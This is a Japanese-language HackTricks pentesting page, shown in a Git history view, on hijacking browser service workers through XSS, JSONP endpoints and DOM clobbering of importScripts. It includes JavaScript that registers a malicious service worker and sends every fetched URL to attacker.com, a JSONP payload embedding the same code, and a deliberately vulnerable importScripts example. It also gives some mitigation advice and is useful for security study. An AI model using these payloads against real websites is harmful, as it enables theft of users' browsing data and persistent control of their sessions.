hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

120 lines
10 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# Service Workersの悪用
2022-12-20 11:25:07 +00:00
<details>
2023-04-25 20:35:28 +02:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-12-20 11:25:07 +00:00
</details>
2023-07-07 23:42:27 +00:00
## 基本情報
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
サービスワーカーは、ウェブページとは別に、ブラウザがバックグラウンドで実行する**スクリプト**であり、ウェブページやユーザーの操作を必要としない機能を提供することができます。([サービスワーカーとは何かの詳細はこちら](https://developers.google.com/web/fundamentals/primers/service-workers))。\
そのため、サービスワーカーを悪用することで、**被害者セッション**内の**脆弱な**ウェブ**ドメイン**でそれらを**作成/変更**することができ、**攻撃者はそのドメインで被害者が読み込むすべてのページ**を**制御**することができます。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
### 既存のサービスワーカーの確認
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
**開発者ツール**の**アプリケーション**タブの**Service Workers**フィールドで確認することができます。また、[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)を参照することもできます。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
### プッシュ通知
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
被害者が**プッシュ通知の許可**を与えていない場合、サービスワーカーは**ユーザーが再び攻撃者のページにアクセスしない限り、サーバーからの通信を受信することができません**。これにより、たとえば、攻撃者のウェブページにアクセスしたすべてのページとの会話を維持することができず、SWが見つかった場合、それを受信して実行することができません。\
ただし、被害者が**プッシュ通知の許可を与えると、これはリスクとなる**可能性があります。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
## サービスワーカーの作成による攻撃
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
この脆弱性を悪用するには、次のものを見つける必要があります。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
* **任意のJSファイルをサーバーにアップロード**し、**アップロードされたJSファイルのサービスワーカー**を**XSSで読み込む**方法
* **脆弱なJSONPリクエスト**で**出力を操作できる任意のJSコードで**方法と、**ペイロードでJSONPを読み込む**ための**XSS**。これにより、**悪意のあるサービスワーカー**を読み込むことができます。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
以下の例では、`fetch`イベントをリッスンし、**取得したすべてのURLを攻撃者のサーバーに送信する新しいサービスワーカーを登録**するコードを示します(これは**サーバーにアップロード**するか、**脆弱なJSONP**応答を介してロードするためのコードです)。
2022-12-20 11:25:07 +00:00
```javascript
self.addEventListener('fetch', function(e) {
2023-07-07 23:42:27 +00:00
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
2022-12-20 11:25:07 +00:00
});
```
2023-07-07 23:42:27 +00:00
そして、これが**ワーカーを登録する**コードです(**XSS**を悪用して実行できるはずのコード)。この場合、**攻撃者**のサーバーに**GET**リクエストが送信され、サービスワーカーの**登録**が成功したかどうかが**通知**されます。
2022-12-20 11:25:07 +00:00
```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
2023-07-07 23:42:27 +00:00
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
2022-12-20 11:25:07 +00:00
});
</script>
```
2023-07-07 23:42:27 +00:00
脆弱なJSONPエンドポイントを悪用する場合、値を`var sw`の内部に配置する必要があります。例えば:
2022-12-20 11:25:07 +00:00
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
2023-07-07 23:42:27 +00:00
**Service Workers**の悪用に特化した**C2**である[**Shadow Workers**](https://shadow-workers.github.io)は、これらの脆弱性を悪用するのに非常に役立ちます。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
XSSの状況では、24時間のキャッシュディレクティブ制限により、悪意のあるまたは侵害されたSWは、XSSの脆弱性の修正よりも最大24時間クライアントがオンラインである場合長く存在することが保証されます。サイトの運営者は、SWスクリプトのTTLを低く設定することで脆弱性の時間枠を短縮することができます。また、開発者には、[キルスイッチSWを作成すること](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)をお勧めします。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
## DOM Clobberingを介したSWでの`importScripts`の悪用
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
Service Workerから呼び出される関数**`importScripts`**は、**異なるドメインからスクリプトをインポート**することができます。この関数が**攻撃者が変更できるパラメータ**を使用して呼び出された場合、彼は自身のドメインからJSスクリプトをインポートし、XSSを取得することができます。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
**これはCSPの保護を回避することさえ可能です。**
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
**脆弱なコードの例:**
2022-12-20 11:25:07 +00:00
* **index.html**
```html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
2023-07-07 23:42:27 +00:00
// attacker controls location.search
2022-12-20 11:25:07 +00:00
</script>
```
* **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
2023-07-07 23:42:27 +00:00
### DOM Clobberingを使用する
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
DOM Clobberingについての詳細は以下を参照してください
2022-12-20 11:25:07 +00:00
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
2023-07-07 23:42:27 +00:00
もしSWが**HTML要素内で使用しているURL/ドメイン**で**`importScripts`**を呼び出している場合、DOM Clobberingを使用してそれを変更することができます。これにより、SWが**自分自身のドメインからスクリプトを読み込む**ようにすることができます。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
これに関する例は参照リンクを確認してください。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
## 参考文献
2022-12-20 11:25:07 +00:00
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
<details>
2023-04-25 20:35:28 +02:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-12-20 11:25:07 +00:00
</details>